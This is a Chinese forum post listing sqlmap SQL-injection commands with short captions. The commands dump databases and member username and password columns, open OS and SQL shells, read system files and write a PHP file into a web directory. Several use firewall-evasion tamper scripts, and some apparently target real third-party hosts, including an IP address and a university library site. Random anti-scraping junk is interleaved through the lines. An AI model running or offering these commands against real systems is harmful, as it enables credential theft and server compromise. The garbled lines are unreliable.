找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1854|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap
& ~  A! H7 M- V9 z6 E5 F2 t
) M* t, ^9 |3 j4 i* vupdate :::::>     in the folder   after  execute    following   order : svn update! k7 ^& n2 K5 ]1 e( u3 Z; a
* j1 h  e# J: d/ k  |- U
sqlmap.py -r 1.txt --current-db5 B, O5 h# r+ Q, m

/ Z- @) A0 |9 b7 x: C: Yv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”/ l  T2 \. ?, I) J0 Z
+ ^7 _; v, `6 W4 w& n$ K# C
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
- @6 C$ v, v% r' E  U$ @猜解数据库
- w9 [7 R. R2 S9 E& x./sqlmap.py -u "injection-url" --dbs
# C, @9 T, e/ }9 s% E& \sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"% g/ t* \0 j* }  Z9 ]. i

' X: E8 E0 U5 r9 R- i0 J- M# R猜解表名- H# X$ L! `0 E% i* D
./sqlmap.py -u "injection-url" -D database_name --tables
6 _; e2 c7 |( G3 [' a! t
. W8 V1 ~) N9 R# \sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py": }- I2 q% Z8 c" |6 I
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
- \0 J7 @: ^. h7 D+ |
$ }* Y" n3 \2 a0 Q. Qsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump1 s$ R# t1 l3 a
0 H. n! R2 W# C$ s7 V9 M' S7 a# P
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"! [" l; a. i* y( T% ]
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
% u, d  K, g. osqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
) a$ X( v: M( T, ]# ?sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
/ l% b1 ~) H; s. u# b' `  \" N7 Q. s  G5 ]. C& Q; \' Y; Q
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
4 l* l$ v# [9 S: Psqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
3 k: q4 n8 g- p7 Csqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
# k) }7 w% Y, L, z) q1 Isqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
, V* v, |* o. ?5 ?7 Osqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
' x- d+ _8 ]" @8 E& e% ^8 J  B! b  J" O6 j8 k
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
9 ~# [6 _+ H7 ?8 j+ [& D4 E. g, T* osqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"' Y( A$ @. t0 b( q, K8 ]* v
9 ~8 h+ q- C' a! f8 p
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"; Q, G8 q: q( Z5 c
猜解列名
; Z8 P! D% d$ r, z./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
$ }+ C0 {6 C4 p5 Q& v. p) p9 }
8 P1 L  b% F' t& D" a% Fsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" " h% \4 ~, R# M" }8 y
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
  ]* G( n" q" y$ d# asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
2 C% z2 Q3 e0 Y# |# |
2 g# y9 H' D; P3 \9 n" Bsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
# R! s% m0 m1 t1 f, A* p&submit=Go$ e! t2 M6 _# M5 n& Z7 h/ U
猜解值& ^; v* }" K" [/ z, L
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump- W" B4 R% f1 J" S% U8 [1 y5 z
========================================================- v. ]- p5 }# j9 o! H
搜索表名中包括mana字符的
" a' z3 x9 T$ j/sqlmap.py -u "injection-url" -T mana --search" ^3 H, e3 b( T! w  a3 p
返回一个交互式sql shell1 p8 G/ Q; E6 k8 v) U
/sqlmap.py -u "injection-url" --sql-shell6 h- Q; L) h0 ^/ r6 B4 \+ H
读取指定文件(需权限)! ]" t$ K9 h1 x9 V" b) h0 b
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"6 q" h$ a; J! @  q& O6 w  v2 k( V
查看当前 用户 及 数据库
6 c' b+ g0 t) l/ \5 r/sqlmap.py -u "injection-url" --current-user --current-db
/ G7 a; @$ y( M本地文件 写入 远程目标绝对路径4 g. Q) w  l9 h8 ^' L* ^
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
) i$ P; {* H  m. L9 I  esqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
1 _! V0 j4 k" B6 d# Z
  R* L6 m* b- k$ j5 V; v8 Jsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径$ R# o) j9 W  {8 I2 B9 ^( H: E
查看某用的权限
6 @) K" u( L" @/ M  _: n6 e/sqlmap.py -u "injection-url" --privileges -U root9 ]  I  g* O. v# H
查看当前用户是否为dba
7 E; z% l$ O0 ?& u- \% x+ W7 v# _/sqlmap.py -u "injection-url" --is-dba6 `, C9 C$ X0 A8 ?9 u  B6 |
读取所有数据库用户或指定数据库用户的密码- l0 m2 H; J* z) n9 L& r5 l
sqlmap.py -r 1.txt --users --passwords
- e* S- [3 c, E6 L  {7 I# isqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" : J# M8 u3 h0 |
( x6 G" E/ O4 O4 P# H, X4 \
/sqlmap.py -u "injection-url" --passwords -U root
: T. b! l. D1 Q  d) k2 l- ?! X" g" X! C
--start&&--stop 与 --first&&--last 的区别; b6 b$ p: @5 d  z/ s' f
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
5 e4 _, ]1 F: e* p2 y& W& a: t9 A9 i. _7 i" M5 M
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
+ a7 h1 y- c& `0 ?: b/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables$ _$ c: E$ @4 _3 S. s
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns, w+ Z5 n0 y8 t  I& t! ]

5 B( _( C  R. ~4 Q( R! x! W执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)) j7 q0 V, b$ z( u
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"; W& N; B7 _* I8 C
: i  g# p" a/ g6 g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表